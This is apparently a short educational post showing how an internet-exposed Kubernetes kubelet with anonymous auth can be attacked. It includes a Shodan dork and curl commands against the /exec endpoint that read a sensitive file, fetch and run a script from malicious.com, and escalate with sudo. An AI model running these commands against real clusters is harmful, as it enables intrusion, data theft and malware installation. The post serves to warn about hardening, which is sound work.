Hacking Kubernetes Kubelet
โ ๏ธ ATTENTION, THIS POST IS FOR EDUCATIONAL PURPOSES ONLY.
Securing the components of our Kubernetes clusters must be a priority: Kubernetes is notorious for having default settings that are too permissive and hardening measures are often either neglected or focused solely on the API server.
Hereโs a real-world scenario of what could go wrong:
Our friendly neighborhood sysadmin, Joe, configured a cluster in a risky manner by exposing the kubelet to the internet with anonymous authentication enabled.
A malicious actor is conducting passive reconnaissance on Shodan using the following dork: ๐ฌ๐ถ๐ฃ๐ฆ๐ญ๐ฆ๐ต ๐ฑ๐ฐ๐ณ๐ต:10250
The malicious hacker discovers Joeโs cluster, with the kubelet service exposed on the hypothetical host โvulnerablehostโ and port 10250.
At this point, the attacker can attempt a discovery (according to the MITRE ATT&CK framework) with the following command:
๐ค๐ถ๐ณ๐ญ -๐ฌ ๐ฉ๐ต๐ต๐ฑ๐ด://๐ท๐ถ๐ญ๐ฏ๐ฆ๐ณ๐ข๐ฃ๐ญ๐ฆ๐ฉ๐ฐ๐ด๐ต:10250/๐ฑ๐ฐ๐ฅ๐ด | ๐ซ๐ฒ .
Since kubelet runs with the ๐๐ง๐จ๐ง๐ฒ๐ฆ๐จ๐ฎ๐ฌ-๐๐ฎ๐ญ๐ก flag set to true (default), the attacker will obtain a list of all the pods running on the cluster.
From now on, if debug endpoints are enabled, the hacker can proceed with malicious actions such as
Exfiltrate Data:
๐ค๐ถ๐ณ๐ญ -๐ฌ ๐ฉ๐ต๐ต๐ฑ๐ด://๐ท๐ถ๐ญ๐ฏ๐ฆ๐ณ๐ข๐ฃ๐ญ๐ฆ๐ฉ๐ฐ๐ด๐ต:10250/๐ฆ๐น๐ฆ๐ค/<๐ฑ๐ฐ๐ฅ_๐ฏ๐ข๐ฎ๐ฆ๐ด๐ฑ๐ข๐ค๐ฆ>/<๐ฑ๐ฐ๐ฅ_๐ฏ๐ข๐ฎ๐ฆ>/<๐ค๐ฐ๐ฏ๐ต๐ข๐ช๐ฏ๐ฆ๐ณ_๐ฏ๐ข๐ฎ๐ฆ> -๐๐๐๐๐ -๐ฅ '๐ค๐ฎ๐ฅ=๐ค๐ข๐ต /๐ฑ๐ข๐ต๐ฉ/๐ต๐ฐ/๐ด๐ฆ๐ฏ๐ด๐ช๐ต๐ช๐ท๐ฆ/๐ง๐ช๐ญ๐ฆ'
Remote Code Execution:
๐ค๐ถ๐ณ๐ญ -๐ฌ ๐ฉ๐ต๐ต๐ฑ๐ด://๐ท๐ถ๐ญ๐ฏ๐ฆ๐ณ๐ข๐ฃ๐ญ๐ฆ๐ฉ๐ฐ๐ด๐ต:10250/๐ฆ๐น๐ฆ๐ค/<๐ฑ๐ฐ๐ฅ_๐ฏ๐ข๐ฎ๐ฆ๐ด๐ฑ๐ข๐ค๐ฆ>/<๐ฑ๐ฐ๐ฅ_๐ฏ๐ข๐ฎ๐ฆ>/<๐ค๐ฐ๐ฏ๐ต๐ข๐ช๐ฏ๐ฆ๐ณ_๐ฏ๐ข๐ฎ๐ฆ> -๐๐๐๐๐ -๐ฅ '๐ค๐ฎ๐ฅ=๐ฃ๐ข๐ด๐ฉ -๐ค "๐ธ๐จ๐ฆ๐ต ๐ฉ๐ต๐ต๐ฑ://๐ฎ๐ข๐ญ๐ช๐ค๐ช๐ฐ๐ถ๐ด.๐ค๐ฐ๐ฎ/๐ฎ๐ข๐ญ๐ธ๐ข๐ณ๐ฆ.๐ด๐ฉ -๐ /๐ต๐ฎ๐ฑ/๐ฎ๐ข๐ญ๐ธ๐ข๐ณ๐ฆ.๐ด๐ฉ && ๐ค๐ฉ๐ฎ๐ฐ๐ฅ +๐น /๐ต๐ฎ๐ฑ/๐ฎ๐ข๐ญ๐ธ๐ข๐ณ๐ฆ.๐ด๐ฉ && /๐ต๐ฎ๐ฑ/๐ฎ๐ข๐ญ๐ธ๐ข๐ณ๐ฆ.๐ด๐ฉ"'
Privilege Escalation:
```console
๐ค๐ถ๐ณ๐ญ -๐ฌ ๐ฉ๐ต๐ต๐ฑ๐ด://๐ท๐ถ๐ญ๐ฏ๐ฆ๐ณ๐ข๐ฃ๐ญ๐ฆ๐ฉ๐ฐ๐ด๐ต:10250/๐ฆ๐น๐ฆ๐ค/<๐ฑ๐ฐ๐ฅ_๐ฏ๐ข๐ฎ๐ฆ๐ด๐ฑ๐ข๐ค๐ฆ>/<๐ฑ๐ฐ๐ฅ_๐ฏ๐ข๐ฎ๐ฆ>/<๐ค๐ฐ๐ฏ๐ต๐ข๐ช๐ฏ๐ฆ๐ณ_๐ฏ๐ข๐ฎ๐ฆ> -๐๐๐๐๐ -๐ฅ '๐ค๐ฎ๐ฅ=๐ฃ๐ข๐ด๐ฉ -๐ค "๐ด๐ถ๐ฅ๐ฐ ๐ด๐ถ"'
At this point, I assure you that you wouldnโt want to be in poor Joeโs shoes.